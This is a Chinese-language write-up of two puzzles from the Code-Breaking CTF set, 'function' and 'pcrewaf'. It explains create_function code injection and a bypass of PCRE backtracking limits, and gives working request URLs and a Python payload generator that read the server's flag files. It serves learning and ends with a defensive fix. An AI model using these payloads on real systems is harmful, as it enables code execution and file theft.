Code-Breaking Puzzles 題解&學習篇
p神真是相當用心了,弄了個知識星球兩週年的活動,有一堆題目質量極高的題。大家感興趣的可以一起來做下
ofollow,noindex">https://code-breaking.com
比較菜的我就只能學習了。有很多新奇的點,題目確實都很有意思,最後,廣告還是要的,歡迎一起加入【程式碼審計知識星球】
p神對這幾個題目知識點的描述
- function PHP函式利用技巧
- pcrewaf PHP正則特性
- phpmagic PHP寫檔案技巧
- phplimit PHP程式碼執行限制繞過
- nodechr Javascript字串特性
- javacon SPEL表示式沙盒繞過
- lumenserial 反序列化在7.2下的利用
- picklecode Python反序列化沙盒繞過
- thejs Javascript物件特性利用
function
原始碼:
<?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? ''; if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(__FILE__); } else { $action('', $arg); }
環境:
- Apache 2.4.25
- PHP 7.2.12
第一個限制是 preg_match('/^[a-z0-9_]*$/isD', $action)
, $action
中要出現數字字母下劃線以外的字元。
這裡可以跑一遍0-128的ascii碼,就能知道可以在函式前插入一個 \
具體原理,P神在小密圈也說了
code-breaking puzzles第一題,function,為什麼函式前面可以加一個%5c?
其實簡單的不行,php裡預設名稱空間是\,所有原生函式和類都在這個名稱空間中。普通呼叫一個函式,如果直接寫函式名function_name()呼叫,呼叫的時候其實相當於寫了一個相對路徑;而如果寫\function_name() 這樣呼叫函式,則其實是寫了一個絕對路徑。
如果你在其他namespace裡呼叫系統類,就必須寫絕對路徑這種寫法。
就是 \
在php中表示預設的名稱空間,比如寫一些類的時候會在開頭寫
namespace think\db; use think\Exception;
然後就是需要找一個第二個引數可以引發危險的函式。
我一開始確實也想到了 create_function
函式,但是根據手冊的用法,他會返回一個函式。然而後面並沒有地方會重新來呼叫這個函式。
看完wp之後看到 http://blog.51cto.com/lovexm/1743442
create_function
在構建函式的時候,也是使用的字串拼接的方式,將第二個引數的 $code
傳入到其中
"function lambda(){".$code."}"
然後動態執行。這樣一來就可以進行 注入
1;}phpinfo();/*
說點題外的,類似的eval也是將其中的字串與進行拼接
"<?php ".$code."?>"
從而可以傳入圖 ?>
、 <?php
閉合前後的標籤,讓中間的程式碼塊不會被當作php程式碼執行。
到了這裡,也就差不多了。雖然系統裡禁用了 system
、 exec
之類的函式,但是,只要可以讀檔案就可以拿到flag了
http://51.158.75.42:8087/?action=\create_function&arg=1;}print_r(scandir('../'));/* http://51.158.75.42:8087/?action=\create_function&arg=1;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));/*
pcrewaf
環境:
- Apache 2.4.25
- PHP 7.1.24
題目原始碼
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(empty($_FILES)) { die(show_source(__FILE__)); } $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path); header("Location: $path", true, 303); }
可以看到,最主要就是繞過 is_php
函式的限制
function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); }
這裡可以看到利用正則限制了 <?php
後不能新增( ` ; ? >這些字元,也就難以構造一個完整的php程式碼。
這裡需要涉及到正則匹配的流程,正則匹配有兩種引擎
- DFA: 從起始狀態開始,一個字元一個字元地讀取輸入串,並根據正則來一步步確定至下一個轉移狀態,直到匹配不上或走完整個輸入
- NFA:從起始狀態開始,一個字元一個字元地讀取輸入串,並與正則表示式進行匹配,如果匹配不上,則進行回溯,嘗試其他狀態
php的PCRE庫使用的就是NFA的正則引擎,就會涉及到回溯的一個過程。(偷一張p神的圖
可以看到,一開始 .*
會將後面的全部字元匹配到,然後為了匹配
[(`;?>]
然後就會一個字元一個字元的回溯,直到匹配到最後的 ;
,才會進行下一個 .*
的匹配
PHP為了防止正則表示式的拒絕服務攻擊(回溯次數過多),限制了回溯的次數
這個次數對應著php_ini中的 pcre.backtrack_limit
貌似在php5.2及之前這個次數為100000,之後一直到如今的7.2都是1000000
當回溯的次數超過這個限制的時候,會返回一個 false
(匹配成功返回 1
,匹配失敗返回的是 0
當單純的用if進行判斷的時候,就會繞過條件判斷,成功上傳檔案。
with open("shell.txt", "w+") as f: f.write("<?php print_r(scandir('../../../'));print_r(file_get_contents('../../../flag_php7_2_1s_c0rrect'));/*"+'A'*1000000)
上傳這個檔案,就可以成功繞過正則。
官方文件對此也特定做了警告
需要用強等於的方式來判斷匹配的結果
if (is_php($data) === 0){ write ... }